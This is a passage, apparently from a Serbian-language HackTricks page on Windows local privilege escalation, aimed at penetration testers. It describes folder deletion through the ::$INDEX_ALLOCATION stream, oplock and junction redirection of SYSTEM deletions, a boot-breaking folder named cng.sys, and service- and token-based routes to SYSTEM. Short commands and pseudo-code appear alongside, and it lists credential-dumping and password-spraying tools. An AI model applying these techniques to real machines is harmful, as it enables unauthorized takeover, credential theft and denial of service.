  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Čita vaš maliciozni .rbs.

  • Kopira vaš .rbf DLL u ciljni location.

  • Sada imate maliciozni DLL u SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Pokrenite pouzdan auto-elevated binary (npr. osk.exe) koji učitava DLL koji ste hijack-ovali.

  • Boom: Vaš kod se izvršava kao SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

Glavna MSI rollback tehnika (prethodna) pretpostavlja da možete obrisati celi folder (npr. C:\Config.Msi). Ali šta ako vaša ranjivost dozvoljava samo arbitrary file deletion?

Možete iskoristiti NTFS internals: svaki folder ima skriveni alternativni data stream nazvan:

C:\SomeFolder::$INDEX_ALLOCATION

Ovaj stream čuva indeksne metapodatke fascikle.

Dakle, ako obrišete ::$INDEX_ALLOCATION stream fascikle, NTFS uklanja celu fasciklu iz fajl-sistema.

Ovo možete uraditi koristeći standardne file deletion APIs kao što su:

c
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Iako pozivate file delete API, ono briše sam folder.

Od Folder Contents Delete do SYSTEM EoP

Šta ako vaš primitive ne dozvoljava brisanje proizvoljnih files/folders, ali ono dozvoljava brisanje contents foldera pod kontrolom napadača?

  1. Korak 1: Kreirajte mamac folder i file
  • Create: C:\temp\folder1
  • Inside it: C:\temp\folder1\file1.txt
  1. Korak 2: Postavite oplock na file1.txt
  • Oplock pauzira izvršavanje kada privilegovani proces pokuša da obriše file1.txt.
c
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Korak 3: Pokrenite SYSTEM proces (npr., SilentCleanup)
  • Ovaj proces skenira foldere (npr., %TEMP%) i pokušava da obriše njihov sadržaj.
  • Kada stigne do file1.txt, oplock se aktivira i predaje kontrolu vašem callback-u.
  1. Korak 4: Unutar oplock callback-a – preusmerite brisanje
  • Opcija A: Premestite file1.txt na drugo mesto

  • Ovo prazni folder1 bez prekidanja oplock-a.

  • Ne brišite file1.txt direktno — to bi prerano oslobodilo oplock.

  • Opcija B: Konvertujte folder1 u junction:

bash
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opcija C: Kreirajte symlink u \RPC Control:
bash
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Ovo cilja NTFS internal stream koji čuva metapodatke foldera — brisanje njega briše folder.

  1. Korak 5: Oslobađanje oplock-a
  • SYSTEM proces nastavlja i pokušava da obriše file1.txt.
  • Ali sada, zbog junction + symlink, zapravo briše:
C:\Config.Msi::$INDEX_ALLOCATION

Rezultat: C:\Config.Msi je obrisan od strane SYSTEM.

Od Arbitrary Folder Create do Permanent DoS

Iskoristite primitiv koji vam omogućava da create an arbitrary folder as SYSTEM/admin — čak i ako ne možete pisati fajlove ili postaviti slabe dozvole.

Kreirajte folder (ne fajl) sa imenom kritičkog Windows drajvera, npr.:

C:\Windows\System32\cng.sys
  • Ova putanja obično odgovara kernel-mode drajveru cng.sys.
  • Ako ga unapred kreirate kao folder, Windows ne uspe da učita stvarni drajver pri podizanju sistema.
  • Zatim, Windows pokušava da učita cng.sys tokom podizanja sistema.
  • Vidi folder, ne uspeva da razreši stvarni drajver, i sruši se ili zaustavi podizanje sistema.
  • Ne postoji rezervni mehanizam, i nema mogućnosti oporavka bez spoljne intervencije (npr. popravka podizanja sistema ili pristupa disku).

Iz High Integrity do System

Nova usluga

Ako već pokrećete proces na High Integrity, put do SYSTEM može biti jednostavan samo kreiranjem i izvršavanjem nove usluge:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

tip

Kada kreirate service binary, uverite se da je validan service ili da binary izvršava neophodne akcije dovoljno brzo, jer će biti ubijen za 20s ako nije validan service.

AlwaysInstallElevated

Iz procesa visokog integriteta možete pokušati da omogućite AlwaysInstallElevated registry unose i instalirate reverse shell koristeći .msi wrapper.
Više informacija o registry ključevima koji su uključeni i kako instalirati .msi paket ovde.

High + SeImpersonate privilege to System

Možete pronaći kod ovde.

From SeDebug + SeImpersonate to Full Token privileges

Ako imate te token privilegije (verovatno ćete ih naći u već procesu visokog integriteta), bićete u mogućnosti da otvorite skoro bilo koji proces (ne zaštićene procese) sa SeDebug privilegijom, kopirate token procesa i kreirate arbitrarni proces sa tim tokenom.
Korišćenjem ove tehnike se obično izabere neki proces koji radi kao SYSTEM sa svim token privilegijama (da, možete naći SYSTEM procese bez svih token privilegija).
Možete naći primer koda koji izvršava predloženu tehniku ovde.

Named Pipes

Ovu tehniku koristi meterpreter za escalaciju u getsystem. Tehnika se sastoji u kreiranju pipe-a i zatim kreiranju/abuziranju servisa da piše na taj pipe. Zatim, server koji je kreirao pipe koristeći SeImpersonate privilegiju biće u mogućnosti da impersonira token pipe klijenta (servisa) i tako dobije SYSTEM privilegije.
Ako želite da saznate više o named pipes pročitajte ovo.
Ako želite primer kako otići iz high integrity do System koristeći named pipes pročitajte ovo.

Dll Hijacking

Ako uspete da hijack-ujete dll koji se učitava od strane procesa koji radi kao SYSTEM, bićete u mogućnosti da izvršite proizvoljan kod sa tim privilegijama. Dakle, Dll Hijacking je takođe koristan za ovu vrstu eskalacije privilegija, i, štaviše, mnogo je lakše dostići iz procesa visokog integriteta jer će on imati write permisije nad folderima koji se koriste za učitavanje dll-ova.
Možete saznati više o Dll hijackingu ovde.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Pročitajte: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Najbolji alat za pronalaženje Windows local privilege escalation vektora: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Proverava za misconfigurations i osetljive fajlove (proveri ovde). Detektovano.
JAWS -- Proverava moguće misconfigurations i prikuplja info (proveri ovde).
privesc -- Proverava za misconfigurations
SessionGopher -- Ekstrahuje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP sačuvane session informacije. Koristite -Thorough localno.
Invoke-WCMDump -- Ekstrahuje kredencijale iz Credential Manager-a. Detektovano.
DomainPasswordSpray -- Spray-uje prikupljene lozinke preko domena
Inveigh -- Inveigh je PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer i man-in-the-middle alat.
WindowsEnum -- Osnovna privesc Windows enumeracija
Sherlock ~~~~ -- Pretražuje poznate privesc ranjivosti (ZASTARELO, zamenjeno sa Watson)
WINspect -- Lokalne provere (Potrebna su Admin prava)

Exe

Watson -- Pretražuje poznate privesc ranjivosti (mora se kompajlirati koristeći VisualStudio) (precompiled)
SeatBelt -- Enumeriše host tražeći misconfigurations (više alat za prikupljanje informacija nego privesc) (mora se kompajlirati) (precompiled)
LaZagne -- Ekstrahuje kredencijale iz mnogih softvera (precompiled exe na github-u)
SharpUP -- Port PowerUp-a u C#
Beroot ~~~~ -- Proverava za misconfigurations (izvršni fajl precompiled na github-u). Ne preporučuje se. Ne radi dobro na Win10.
Windows-Privesc-Check -- Proverava za moguće misconfigurations (exe iz python-a). Ne preporučuje se. Ne radi dobro na Win10.

Bat

winPEASbat -- Alat napravljen na osnovu ovog posta (ne zahteva accesschk da bi radio pravilno ali ga može koristiti).

Local

Windows-Exploit-Suggester -- Čita izlaz od systeminfo i preporučuje radne exploite (lokalni python)
Windows Exploit Suggester Next Generation -- Čita izlaz od systeminfo i preporučuje radne exploite (lokalni python)

Meterpreter

multi/recon/local_exploit_suggestor

Morate kompajlirati projekat koristeći odgovarajuću verziju .NET-a (pogledajte ovo). Da biste videli instaliranu verziju .NET-a na victim hostu možete uraditi:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Referencije

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks